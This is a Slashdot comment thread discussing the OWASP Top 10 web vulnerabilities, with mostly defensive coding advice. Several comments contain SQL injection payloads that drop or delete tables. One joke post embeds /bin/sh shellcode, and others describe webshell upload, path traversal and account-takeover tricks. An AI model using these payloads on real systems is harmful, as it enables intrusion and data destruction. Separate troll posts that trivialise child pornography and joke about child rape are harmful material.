[RollingThunder]

Having information potentially of interest to Slashdot.

wow, who'd a thunk it.

[makoffee]

wow mircosoft is really "on top".

Post Parameters

[ackthpt]

Top 10 Vulnerabilities in Web Applications

This seems to be a moving target, though with the first vendor or platform that jumps to mind regarding vulnerabilities is a given. I'd say the root class is MicrosoftVulnerability and subclasses are Windows, Explorer, Outlook, Office, etc, all of which should be behind a firewall and virus/worm filters. Exposing an MS workstation to the internet is asking for it. However...

On unixes (including BSD and Linux) there's been the danger of unexpected post commands on webservers, directory access, etc. When I coded a perl search engine, years ago I found I had to absolutely lock down what was accepted as parameters and subsequent values. Frequenly processes ran with root authority, to access all resources. Granted this was probably the fault of the admin, not wanting to devote time and effort to make all necessary resources available to a special account for scripts to run in. Does this hold true today? (Obviously directories are still frequently available, even on CNN :o)

Buffy Overflows? Fuel Injection Flaws?

[burgburgburg]

Time for new glasses.

Though I would like to see Buffy overflow every now and then.

Cough

[Isbiten]

Though ISS was the worst security risk ;)

Re:Cough

[Malc]

Wow, that's quite a conspiracy theory. I really don't see how you can blame a object that's in orbit for web server problems ;)

Re:Cough

[Anonymous Coward]

Though ISS was the worst security risk ;)

What in the fuck does the International Space Station have to do with 0wn3d web servers?!

Not exactly new news

[Badgerman]

Though I think this is useful information, anyone whose been doing web app development for awhile knows these by heart, and by a few other organs as well.

I can't really get worked up over this announcement, what can I say?

Re:Not exactly new news

[Anonymous Coward]

Amen to that. These are not news to me either. The interesting thing, though, is that it probably is news to developers of ASP or PHP.

Re:Not exactly new news

[Badgerman]

No, I develop in both and they're not news to me ;)

And of course, the obvious ....

[Greedo]

11. Getting Slashdotted

Missing

[Anonymous Coward]

A11 Link on Slashdot

In spite of many alarming examples, the danger associated with having a link to your web site posted on the Slashdot front page continues to be underestimated by many developers of web applications. Neglect of this threat can cause your web server to actually burn through the floor of your computer building in a manner similar to nuclear meltdown.

Re:Missing

[Anonymous Coward]

Where's a moderator point when I need it +1 Funny!!

Re:Missing

[sdcharle]

The moderators shot their wad on the ten similar posting preceding this one, I think.

Relevant to everything:

[White Shade]

"The underlying reality is shameful: most system and Web application software is written oblivious to security principles, software engineering, operational implications, and indeed common sense."

I think a lack of common sense is a problem which applies to almost everything. Judges, certain chip-manufacturing companies, certain companies preventing sales of their better (*cough*alpha*cough*) products, etc, all seem to suffer from this affliction.

Another facet which the article may have neglected to mention is programmers who feel that they're better than the rest of their fellow programmers and so as a result they 'assume' that their software is inherently bug free, because obviously they could never write a buggy applcation.

In the recent case of HP and the Alpha, it seems as though both conceit ('our new chips are better', while quietly ignoring the facts) and a lack of common sense ('hey, how bout we not sell our better and more lucrative product, cuz thatll be fun!') and a dose of good ol' fashioned stupidity are involved...

Lack of common sense, conceit, and stupidity.. While the specifics of this article are clearly about web design, the overall lessons to be learned can, and should, be applied to technology, and life in general.

It's about time common sense became a bit more deserving of the title, and maybe once that happens we won't have to read articles like this one.

Re:Relevant to everything:

[sg_oneill]

Ah.. The old "The problem is people don't use common sense" argument.. It's a fallacy.

Problem is, my 'common sense' is different to your 'common sense' is different to jane does 'common sense' is etc...

Basically , usually no two people think the same things, and when they do, they tend to form political parties....

And you know how 'common sense' THOSE guys are! say no more.

The story we want to read...

[Anonymous Coward]

Pedo Pete Townshend. CmdrTaco's favorite musician, downloading child pornography off the internet.

Why isn't there an article about it on here yet? You can imagine the Janitors falling over themselves to make excuses for this sick degenerate creature.

Fiddle about. Fiddle about.

Re:The story we want to read...

[Trolling4Dollars]

Hey! Don't ride on the shirtail of my fabulous second post assmuncher!!! Who cares about people downloading pervo-porn anyway? Everyone does it. Only a few have the balls to admit it.

a "a must read"?

[farnsworth]

This is far from a "must read", it's good introduction to common mistakes junior developers/admins make with webapps. There's nothing in there that hasn't been covered before or is well-known to anyone who has even the least bit of real-world experience.

It seems like good information and it's well-written, but it's hardly anything ground breaking.

Re:a "a must read"?

[Anonymous Coward]

Care to mention a few book titles that are a "must read"?

Re:a "a must read"?

[ergo98]

Totally agreed. Indeed in some ways it's redundant: Point #1 is "unvalidated parameters" while point #6 is "command injection" (which is via "unvalidated parameters"). Of course most troubling of all is the link on the right for "WebGoat": I suspect this must be some sort of automated goatse trolling system (humor).

Re:a "a must read"?

[sverrehu]

My experience is different than yours. I've spent the two last years giving courses and lectures on exactly these topics to approximately 700 programmers in everything from small, 10-person companies, via banks, to large, international consulting companies. Far less then half of these experienced developers knew about SQL Injection. Next to none fully understood Cross-site-Scripting-based session hijacking.

I used to spend some late evenings looking for symptomes of SQL Injection and Cross-site Scripting (two of the vulnerabilities most easily detected from the outside without doing something really intrusive). I have a list of 170 sites, including banks and web shops that have symptoms on these problems. That's about half of the sites I've checked.

I've skimmed book upon book on "building E-commerce solutions", and every single one of them contains examples with unintended security holes in them. Even books on web application security contains examples that are vulnerable.

So, I strongly disagree with you. In my experience, most web application programmers know next to nothing about these problems.

READ THE PDF!

[Wakkow]

Don't just scan the summary.. There's nothing that special about the top 10. Read the PDF which actually explains each item, giving examples and what to do about it. That is what makes the site worth looking at.

Re:READ THE PDF!

[mark_lybarger]

yeah right, then we'd probably think about all that wacky stuff the next time we developed a web site. then mgmt will want to know why this new site is going to take 2x the development time just to be secure. isn't the last one secure? ... and there goes the bonus and extra vacation time. insecure and slapped together sounds like a winner to me ;).

Re:READ THE PDF!

[lukesky]

Anyone got the PDF mirrored?

http://www.owasp.org/ seems to be slashdotted.

Papers on web security

[Anonymous Coward]

www.cgisecurity.com/lib

Top 10? How about just 2

[valdezjuan]

I guess that you can break these down but to me it seems that the top vulnerabilities are:

Crappy Code - Some of the people that are writting applications today either never learned about security or just don't care. This spans both the closed and open source world (there are examples in both).

Bad Configuration - How many times do we hear about Joe (no offense if your name is Joe and you are an admin) admin configure a webserver (or application) and leave some huge wide open hole because they either couldn't understand the directions in the README or never bothered to look. Then they whine about it when they get 0wn3d .

Re:Top 10? How about just 2

[duffbeer703]

I suppose you are the world's most perfect programmer who faces no deadlines and makes no mistakes. WTF does "learning about security" mean, anyway?

I guess you are also a perfect syadmin who is omnipresent and capable of keeping up with the mailing lists or news pages of Windows, Linux-Kernel, PHP, Apache, IIS, Perl, FreeBSD, Bind, Solaris, AIX, Oracle, MySQL, Postgres, GNU Utilities, ColdFusion and LDAP.

I suppose while keeping track of those products, your omnipresence also allows you to be aware of undocumented security holes. And once you are aware of those holes, you never run into patch conflicts that break your apps.

Maybe you should get a clue or STFU. "Security" goes beyond reading READMEs.

Re:Top 10? How about just 2

[Christianfreak]

It truely amazes me how many people just don't care. Before I got my current job I met the person who I was taking over for so he could show me some of the stuff he had done and how it worked etc.

What I found: Zero interest in getting involved in the community. Anything that he built in one night was "cool". Waiting until the last minute was "just how the job was" and finally he actually admitted "you could probably access most of my stuff by passing the correct parameters but no one knows about that and the stuff works."

(And upon sitting down with a couple of the site he had done it literally took me five minutes to break the so called "security" on.)

The problem is complacency more than anything else. The pointy-haired bosses of the world see that it works or doesn't work. And that makes the job harder for those of us who want to do it right in the first place. (i.e. why does it take longer for you to do the same thing).

Fortunatly in my case the errors were so bad that I was able to show them off to my bosses who promptly told me to fix them as quickly as possible. But i know not everyone has such understanding bosses.

Re:Top 10? How about just 2

[valdezjuan]

Hmm I don't remember mentioning my programming skills (or lack thereof) nor did I mention that mistakes don't happen. However, when a program has one buffer overflow and the author fixes that one but doesn't look through the rest of his code for more. Is he really learning security? Or is he just being lazy and not caring.

We are talking about (in this thread at least) web server vulnerabilities. How many people are still running there servers as root? How many people aren't doing input validation (which is poor programming) in their cgi's? All of these things have been ducomented in the security community and there are plenty of free guides on how to avoid these pitfalls and mistakes (hmm I think a google search would help).

There is no perfect security but there are solutions that help mitigate a majority of them. Sadly you cannot easily mitigate lazyness or people that just don't care.

Re:Top 10? How about just 2

[duffbeer703]

You are oversimplifying things greatly.

If you maintain the code for any complex software, you cannot simply start making changes willy-nilly to fix things that may or may not be broken. Buffer overflows are not always obvious and fixing them may involve signifigant debugging across the app.

Human or "soft" issues factor in as well. Checking out a huge swath of code to hunt for bugs that may or may not be there will hold up everyone else's work for days. The cost of automated tools to find bugs may be out of the reach of some shops.

Security goes alot deeper than running servers as root. The heart of computing is not code, but procedure and standards. The only way to improve the quality of code in general, and security in particular is to simplify, standardize, and avoid jumping on the next bandwagon.

Mod this down

[Anonymous Coward]

Mod this down - the server is working like a champ and he's a karma whore - post as AC if your not a a whore.

They neglected to mention

[DrFrasierCrane]

The worst vulnerability of all: the users themselves.

RIAA should read this

[xNullx]

1) Unvalidated Parameters

Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.

2) Broken Access Control

Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.

If this came out several months earlier maybe the RIAA would have checked their robots.txt and *secured* the folders they didn't want people to mucking around. Story being referenced

The forgot a very big one...

[TheTomcat]

Unfortunately, they forgot:

-Application allows user to upload a file (attachment, image, etc) somewhere into the webroot.
-Instead of sending a .jpg, the application allows the user to upload a file of any name.
-User uploads "mail_me_your_sources.php", or similar
-This upload becomes executable, user has control of server

S

Re:The forgot a very big one...

[pclminion]

You made my mind zoom back to a web project I did in college. Did we make the same mistake?

No. Turns out we were stashing user-uploaded files as blobs in the DB, not as actual files in the webroot. If someone uploaded a PHP file, and then tried to view it, the server would set Content-Type as a JPG image, and the user would probably either see garbage or the actual PHP source.

Re:The forgot a very big one...

[Anonymous Coward]

Sounds like a permission (A2) and no proper error-handling or logic errors (A7).

a) do not allow anyone to upload to a web-visible folder
b) give them write only permission to that folder if you absolutely must

Re:The forgot a very big one...

[TheTomcat]

Yes and no.

A lot of developers will allow the writing of images (avatars, logos, etc) to the web accessible directory, and reference those images in HTML. The solution IS, however, in configuration (tell apache to not process php files in a certain directory), or limit the possible filenames of uploaded files.

S

Re:The forgot a very big one...

[NineNine]

Same thing for IIS. Tell it only to process server-side scripting files of any kind only in specified directories. Not only will it help with security, but on older IIS boxes, it'll speed up page serving. In the most recent version of IIS, you can call a completely straight HTML/DHTML file ".asp", and supposedly there isn't a performance hit.

Re:The forgot a very big one...

[Dave2 Wickham]

-Application allows user to upload a file (attachment, image, etc) somewhere into the webroot.

Another problem with this - make sure that if you need uploads, that you filter out all .s and /s. Maybe even ~s. One alpha I know of was able to be exploited by this by calling yourself "../index" which would create the file ../index.php, where ../ = /.

Not useful..

[Gortbusters.org]

This is like having 'the top 10 mistakes in programming', when what you really want to know is the top 10 in C++, Java, PHP, Perl, etc.

For those using Perl and SQL..

[Anonymous Coward]

..Remember, Wall created $dbh->quote() to serve the faithful.

(Actually, I have no idea who did the DB stuff. The point is, use $dbh->quote(), damnit.)

Re:For those using Perl and SQL..

[Anonymous Coward]

Tim Bunce

Re:For those using Perl and SQL..

[pne]

Better still, use parameters. Have an SQL statement like SELECT address FROM users WHERE name = ? and then prepare that statement normally, then execute as $sth->execute($username). It'll take care of quoting automatically.

Plus you can re-use the same prepared statement for different parameters by simply execute()ing with a different bind parameter each time. Saves time on databases with real prepared statements.

I R #1! 4|| 0TH3R5 R #2 0R |0W3R!

[Anonymous Coward]

At least the moderators still love me!

Mom says I'm 'l33t!

Here's an Example

[oni]

Here's a quick and language independent example of how easy it is to miss a security hole in a web application: Say you've created a message board with the ability to edit posts. When a user clicks the edit button they get a form with a textarea to type in and the messageID as a hidden field. When they submit the form you do something like this in SQL:

UPDATE forum
SET comment = form.comment
WHERE messageID = form.messageID

Do you see the error there? I can edit the form to send a different messageID and change any comment I want. The solution?

WHERE messageID = form.messageID AND userID = cookie.userID

Because HTML is stateless, you have to authenticate the user on every hit and use that authenticated identity as part of every database action. How you do that is a subject unto itself!

At any rate, I just wanted to show how easy it is to introduce a serious security flaw into a web application. The only countermeasure is competent, careful coding.

Re:Here's an Example

[Anonymous Coward]

My favorite sites are ones which accept the price of the item, unverified, from the user. Got some stuff cheap that way :-)

Re:Here's an Example

[zulux]

UPDATE forum
SET comment = form.comment
WHERE messageID = form.messageID

To reiterate the 'injection' bug: insead of form.messageID being comthing sane like #1212, nasy people could return (DELETE * FROM Users). This then gets evaluated by your SQL database if you're not carefull.

Re:Here's an Example

[bigmouth_strikes]

Even worse, I could write a page myself using the same form names and action tags as in the original, but making the messageID an input field.

In there I could then put "47; drop table users; commit;"

This would execute

UPDATE forum
SET comment = "blablabla"
WHERE messageID = "47" ;

drop table users;

commit;

If form data parser can't handle this, you're in trouble.

Re:Here's an Example

[skington]

That's not necessarily a solution either. If you don't check that messageID is correctly quoted and escaped, you run the risk of letting them insert SQL meta characters.

For instance, consider what happens when you replace form.messageID with, say, "666; DELETE FROM forum; #" (omit the quotes). The resulting SQL ends up as (line feeds inserted for clarity):

UPDATE forum SET comment = form.comment WHERE messageID=666;
DELETE FROM forum;
# AND userID = cookie.userID

And suddenly your table is gone. (If you don't know the name of the table, you as a malicious cracker can keep on plugging likely-looking values into the script until it starts breaking.)

Re:Here's an Example

[GigsVT]

WHERE messageID = form.messageID AND userID = cookie.userID

Yeah, it's a good thing users can't edit the cookies that are stored on their hard disk..... oh wait.

To do something like this securely, give the user a unique session ID and put only that in the cookie. Then manage all their session data on the server side. That's what PHP does.

Re:Here's an Example

[Anonymous Coward]

...and you change form.messageID to the following

";DROP DATABASE mysql;"

A valid messageID, no?

Re:Here's an Example

[mohaine]

This why bind variables should be used. The SQL should be

UPDATE forum
SET comment = ?
WHERE messageID = ? ;

And then use your DBI to set the values of the '?'s. This also helps DB performance, because the DB can cache the compliled SQL to use again.

I'm not sure PHP has preparied statments, but it should.

Re:Here's an Example

[Tablizer]

And suddenly your table is gone. (If you don't know the name of the table, you as a malicious cracker can keep on plugging likely-looking values into the script until it starts breaking.)

That does it! For now on I am going to name my tables things like y4627d9z732. In fact, I'll name everything like that. They'll never guess the names then. Hire programmers who only speak Checklslavokian. That'll fix 'em :-)

Re:Here's an Example

[rjstanford]

Or my personal favorite, which works on so many sites if you know their datamodel:

'; DELETE FROM users;UPDATE forum set comment= 'This looks like a real comment

Its amazing how many people don't bother to esacpe even the most obvious special characters when they PREPARE a statement.

Re:Here's an Example

[fferreres]

Good tip, but trusting the values to cookies is not recommended. I tend to only use sessions, and have a local variable userid that can only be changed by autenticating. SQL statements include the userid where applicable, and since only stripts can change them I feel secure. If I want some extra security (for the user, not me) I record and compare the remote IP (or the one that the proxies tell me) everytime with the autenticated IP. SSL would help, but I will it's too much for some cases.

My top 10 list

[shoppa]

I would throw out 9 of the suggested top 10 list and come up with:

1. Buffer overflows
2. Buffer overflows
3. Buffer overflows
4. Buffer overflows
5. Buffer overflows
6. Buffer overflows
7. Buffer overflows
8. Buffer overflows
9. Buffer overflows
10. Buffer overflows

My list is based on 15 years of watching the industry. Things may change for the better, in that buffer overflows decrease and thus other problems become more clear, but I haven't seen that yet.

It certainly is true that there are more tools and languages out there that make it easier to avoid buffer overflows than there were fifteen years ago. Problem is, most folks are still writing application code just like it was fifteen years ago, with fixed-size buffers and system calls that allow you to overflow them, even when the tools permit far more robust stuff to be done.

Re:My top 10 list

[CaffeineAddict2001]

You forgot:

11. Buffer Overfloooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooows\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x 2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0 \x0b\xcd\x80

root#

Re:My top 10 list

[Anonymous Coward]

11. Buffer Overfloooooo......

Hey, howdya get that past the "lameness filter"?

How to do it, and how to protect against it...

[3ryon]

The article is just a summary. If you want to know more check out: Hacking Web Solutions Exposed

Re:How to do it, and how to protect against it...

[Tower]

The pdf linked to on the site is far more in depth (20+ pages)

Buffy

[Anonymous Coward]

New show on Fox: Buffer the overflow slayer.

isn't this old news?

[beanerspace]

Read any of the following stories, and they all basically assert the same thing. It usually boils down to the nut holding the keyboard - human error:

• June 2, 2000 - E-Commerce Times - 'Top 10 List' Reveals Internet Security Flaws"
• October 21, 2001 - Tech TV - FBI Releases List of Top 20 Computer Risks
• Monday, September 30, 2002 - PCWorld/Yahoo - List of Top 20 Software Flaws Due
• October 17, 2002 - SANS/FBI - The Twenty Most Critical Internet Security Vulnerabilities

Long File name

[Anonymous Coward]

The long file name of the pdf itself will cause a buffer flow somewhere ;)

You mean...

[Anonymous Coward]

Buffer the stack smasher.

-1 Whore

[Anonymous Coward]

Nuff said.

The Cross Site Scripting FAQ

[Anonymous Coward]

XSS FAQ
It should also be noted OWASP RIPPED some of the content and DID NOT QUOTE it properly. Search for "What can I do to protect myself as a vendor?" in the FAQ and then search for XSS solutions in the owasp paper. Hrm seem familiar?

Re:The Cross Site Scripting FAQ

[russcoon]

Hi,

I'm one of the editors for the OWASP Guide project.

Just verified this problem and am taking it up with the authors of the Top 10. If this is indeed plagarism, it will not be taken lightly, as this document was not developed in the usual open development methodology all of our other projects use (CVS, public mailing lists, etc...).

I'll keep this thread posted.

Re:The Cross Site Scripting FAQ

[Anonymous Coward]

"Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, web board, email, or from an instant message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website."

What?

unbeatable combination

[Anonymous Coward]

Java + Snobol for web programming.
Java for the buzzwords plus Snobol for its powerful string manipulation capabilities.

Well known, but not easy to do . . . .

[djembe2k]

Yes, all of these vulnerabilities are well known, but the reason that they are common mistakes is because it is so much easier to make them than to avoid them. Making people aware of them isn't the same as instructing people in how to avoid them.

While the list is (appropriately) in OS-neutral and scripting language-neutral terms, the way to correct these problems is specific to the OS, webserver and scripting langauge you are using. So the next question is: what are the resources for addressing these issues, specifically, for particular OSes, webservers and languages?

For those taking the MS approach (and flame it if you want, but IIS isn't about to stop being the #2 web server overnight, so it might as well be done as securely as possible), I can recommend the following two guides from SANS:

Securing Internet Information Server

and

Windows 2000/XP Scripting For Security

These are listed as "course books" on their site, but they stand alone as guides for those who already have some background and knowledge. And if you don't have much background and knowledge, SANS courses are very good. (In fact, just about everything at the SANS website is valuable for the IT professional who wants to know more about security -- which ought to be all of us.)

So, stop just posting that these 10 problems are old news, and post the resources you use (or learned from) to avoid these problems yourself on your platform of choice, so the many (majority?) still making these mistakes can learn to avoid them too.

Re:Well known, but not easy to do . . . .

[Anonymous Coward]

I don't trust user submitted data. Not from GET or POST. Where a variable has a finite set of possibilities, check what is submitted against that list. If it matches, proceed, otherwise abort or substitute a safe default if appropriate. Where you have no idea as to potential values, as in the body of a message or something, parse it for evil. Probably easiest to disallow html altogether, but if allowed, parse out any executable code, including from image tags.

Freudian slip?

[deepchasm]

A1 Unvalidated Parameters Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.

Backside?

I've heard of back-end components.

Maybe the writer is hinting that code that makes these mistakes is a pile of......

Re:Freudian slip?

[Anonymous Coward]

A freudian slip?

Is that when you say one thing and mean your mother?

wow.

[edrugtrader]

so if i don't check user input, that is bad? glad i spent 10 minutes on company time getting my learn on. i'll be sure to pass this on to all of the other developers.

I think the next wave of viruses...

[callipygian-showsyst]

...will be spread in JPEGs, GIFs, PDFs, .txt files, etc.

I don't think anyone has spent too much time looking for buffer overflows in the most common decoders for these filetypes; and I'm sure they exist.

As soon as someone figures out how to the Microsoft's LZW decompressor to overrrun its stack, or how to get a stack corruption in Adobe's Acrobat reader, it will be possible to spread viruses easily, becuase most people aren't afraid to open .GIF or .PDF files.

Re:I think the next wave of viruses...

[Quill_28]

Of course as soon as a virus comes out of these filetypes, people will stop opening them up pretty quickly.

Re:I think the next wave of viruses...

[huh_]

Of course as soon as a virus comes out of these filetypes, people will stop opening them up pretty quickly.

Yeah, I'm sure.. Just like people stopped opening unknown executable attachments in their email.

Re:I think the next wave of viruses...

[mohaine]

Of course as soon as a virus comes out of these filetypes, people will stop opening them up pretty quickly.


Just like you avoided opening the 5+ gifs/jpgs on every slashdot page. (Sorry if you are using lynks, but that really isn't an option for most.)

Re:I think the next wave of viruses...

[Quill_28]

hmmm... good point

But remember he is referring to the program that opens the .jpg so if your browser wasn't vunerable then a malicious jpg couldn't hurt you.

11) Commonly used passwords

[crawdaddy]

Love, secret, and sex. And don't forget God. System operators love to use God. It's that whole male ego thing.

Re:11) Commonly used passwords

[igottheloot]

yeah, but god is spelled 'gahd', as in sysgahd. don't you know anything about the male ego? i mean gahd damn.

Re:11) Commonly used passwords

[Anonymous Coward]

Male ego? I thought God was a female.

Don't tell me to think about the children

[Anonymous Coward]

Now I have to go out and rape a couple. I hope you're happy with yourself.

Or: sign state cryptographically

[tmoertel]

When your application's state-management strategy relies upon passing state back and forth between the server and the client, never trust any state sent from the client. The previous poster suggests that you validate from-client state against server-side session state, in the example verifying that the message to be updated is actually owned by the authenticated user in session state.

However, not all state can be validated in this way, and even when it can, it may not be practical to design validation tests for each and every item of state that can be received from the client.

Another approach is to cryptographically sign each package of state that the server hands to the client and then test that the signature is valid when the client returns the package to the server with a future request. This eliminates the need to use session state (which may not be possible in some apps) and also eliminates the need for item-by-item validation tests.

Screw Micro$oft, m$, microshaft...

[swasson]

... and support open source by taking 10% of the money you'd be spending on .NET and IIS and donate it to the open source project of your choice.

Re:Screw Micro$oft, m$, microshaft...

[Anonymous Coward]

No. I'm not in the habit of betting on three-legged horses.

Re:Screw Micro$oft, m$, microshaft...

[Anonymous Coward]

So you bet on grotesquely overweight horses with borrowed (DOS) legs?

Buffer overflows

[phorm]

A5
Buffer Overflows It seems to me that a lot of "overflow" type issues are often somewhat of a daemon/application problem. Yes, there are exploits that allow for users who don't do bounds checking etc and cause stupid issues, but a lot of these pop up as part of the application and end up being repaired in bugfixes. Even if you code safely and bounds check, an exploit in the daemon could get this one by you.

Oh... and also, *FOR GAWD SAKE* turn register_globals off. If you must have globals (maybe for a prewritten piece) then write a custom procedure that tags them in and paste it into said prewritten code... preferentially doing integrity checks first!

We come in peace, shoot to kill! - scorched earth

It's a mindset

[ryochiji]

>include($theme . "theme.php");

It's really a matter of mindset and habit. It's an easy problem to avoid if you get to the point where a little flag goes off in your head every time you see an unchecked variable passed to a function that accesses files (i.e. include(), fopen()).

The problem: web programming is easy

[Anonymous Coward]

I've read it here many times: "web programming is easy, it's not like real programming". The problem is that managers and decision makers also read this kind of un-informed statement.

The truth is that it is easy to get something going on a website, but it is hard to get something that works well and is secure. The amount of time it takes to transform an interesting web demo to a well executed web application is staggering. It is also very hard to explain why all that time is needed. What happens is that web application get launched half-baked. If a company is lucky, the application will only annoy the users, if a company is unlucky, someone will walk right in through a common security hole and comprimise the whole application.

Moral to managers and project planners: believe your programmers when they tell you that there is more then meets the eye in developing web applications.

Re:The problem: web programming is easy

[sdcharle]

True, it just takes one barely functional joker who cranks out crap insecure code that wows marketing to ruin it for everyone...

old

[ceicke]

I found that information survey to just state the same stuff that's in every good web developer's book... no news

"Remember me" login option

[Anonymous Coward]

So this begs the question:

What is a good way to handle the (IMO required) ability for users to click a checkbox so they don't have to enter their login information all the time.

Yes, of course, any access to sensitive data should prompt for a password again even if they're logged in, and SSL is manadatory for some information.

Ooh!!! Ooh!!!

[ENOENT]

Damn, I have to add some of these to my web app. Let's see... buffer overflows should be easy to do, and I'm sure that I can manage to allow some unvalidated parameters. OK, all done. Now my web app can be popular!!!

(Translation of the above: "Top Ten" is an inappropriate name for a list of bad things.)

also dangerous:

[Fuzzums]

- having foo.php.bak files.
if these files access databases or contain other passwords they're likely to be visible in the .bak file.

- .inc files.
same probmen if .inc isn't parsed or blocked in any way.

Re:also dangerous:

[krumms]

If you REALLY must use .inc, for whatever reason, then (for Apache 1.3/2):

# begin httpd.conf
#
# ... [other configuration crap]
#

# treat *.inc the same as *.php and life will
# be fuzzy and warm

AddType application/x-httpd-php .php
AddType application/x-httpd-php .inc

#
# ... [more configuration crap]
#
# end httpd.conf

I imagine you could do something similar to deny access to .bak files generated by Access. Not that you would be using Apache in Windows, when there's that IIS thing :D

Ummm, moderators?

[Anonymous Coward]

The above got moderated to a +3, so far! The idiot claimed you could do a DELETE inside an UPDATE query. That isn't valid SQL.

Re:Ummm, moderators?

[Anonymous Coward]

At least with MS-SQL, just tack a semi-colon in there and the DELETE statement will execute in batch.

AIM is vulnerable

[jasonrocks]

I read the .pdf and then checked AIM for email change vulnerability. If someone is logged in, AIM lets you change that person's email address. It also gives you the old email. You can then change the user's email to your own, conveniently "forget the password" have AOL email it to you and then change the users email back so they never know you took their password. Sneaky!

Re:AIM is vulnerable

[jasonrocks]

OK, so I lied. When you change the email, you need to reply using the new email address. The email changes within 72 hours. An email will be sent to the old email as well. In order to effectively pull this off, things may be a bit difficult, but still possible.

Vulnerability number 0

[uberstool]

Being /.'d

They didn't forget that

[sirshannon]

that is actually number one on the list, validating User input.

Dupe

[loconet]

I thought i saw it somewhere. here

New version of the document thou.

Some architectures not succeptible to overflow

[Anonymous Coward]

Buffer overflow is a big deal for some popular langauges, but other popular languages, such as Java, are not succeptible to buffer overflow. If you're using a Java servlet container such as Tomcat directly and writing Java webapps (a common configuration) you have zero chance of a buffer overflow vulnerability. (You might have a buffer overflow, but it'll throw a catchable exception which'll probably terminate the thread rather than allow the execution of arbitrary code.)

On the other hand, many of the other issues are relevant. I'm specificly thinking of authentication and access.

Not saying Java's perfect; just saying that not ever problem is present on every platform.

As a list, this is pathetic

[Anonymous Coward]

This list basically covers all *possible* web application vulnerabilities. Even if they were new or useful, calling them a Top Ten list is just bizarre.

Make sure you always escape your strings

[Anonymous Coward]

The solution I've used is to have a PHP function for quoting SQL strings that handles the escaping of special characters (by calling pg_escape_string() or whatever) and adds the required single quotes around the string. Then, when I'm writing my SQL, I always include the variables without any single quotes around them. That way I make sure I'm always passing my variables through the escape+quote function. If I ever forget to do the escape+quote call, I'll know about it right away, because the required single quotes will be missing and the SQL will have invalid syntax.

The gist of it

[NFNNMIDATA]

Assume the user is a madman bent on destroying you and everything you care about... and his only tool is access to ports 80 & 443 of your website.

How to hack your example.

[Anonymous Coward]

That is not a good solution. This (partial) thread is a good example on how easily that may be exploited as well. Unique session IDs that time out is the key, and send only those to the browser.

And I like my webservers...

[CreGen]

just like I like my women, tight and untouched by other men :) (only looked at)

I use this

[Fuzzums]

I use this in my .htaccess file

order allow,deny
deny from all

same thing for *.bak

This way the files can be included by php, but apache refuses to show the content.

Oh yes, how much wisdom.

[jotaeleemeese]

Q.What is my the problem with my web app?
A. Crappy code and, ohhhh yesss, bad configuration.

Q.OK, how do I address it?
A.Stop writing crappy code. And configure properly.

Q.How.
A.RTFM

One fine contribution to mankind.

how to avoid buffer overflow

[axxackall]

The only way to avoid buffer overflow problem by application programmers is to use languages where buffer overflow is not possible at all. The only category of such languages I know is pure functional programming languages. All variables/objects must be immature. There should be no way to change the value of any variable/object.

RTFPDF

[Anonymous Coward]

Shouldn't it be "Read The Fucking PDF?"

This HAS been exploited!

[infolib]

Read all the gory details

Basically the guy (Jizzbug) "traded" a wacom tablet down from ~USD475 to ~USD100. His legal counsel tells him it's ok...

Informative?

[crawdaddy]

I can't believe I got a +1 Informative modding for paraphrasing the movie "Hackers"! Cmon mods...show me the funny!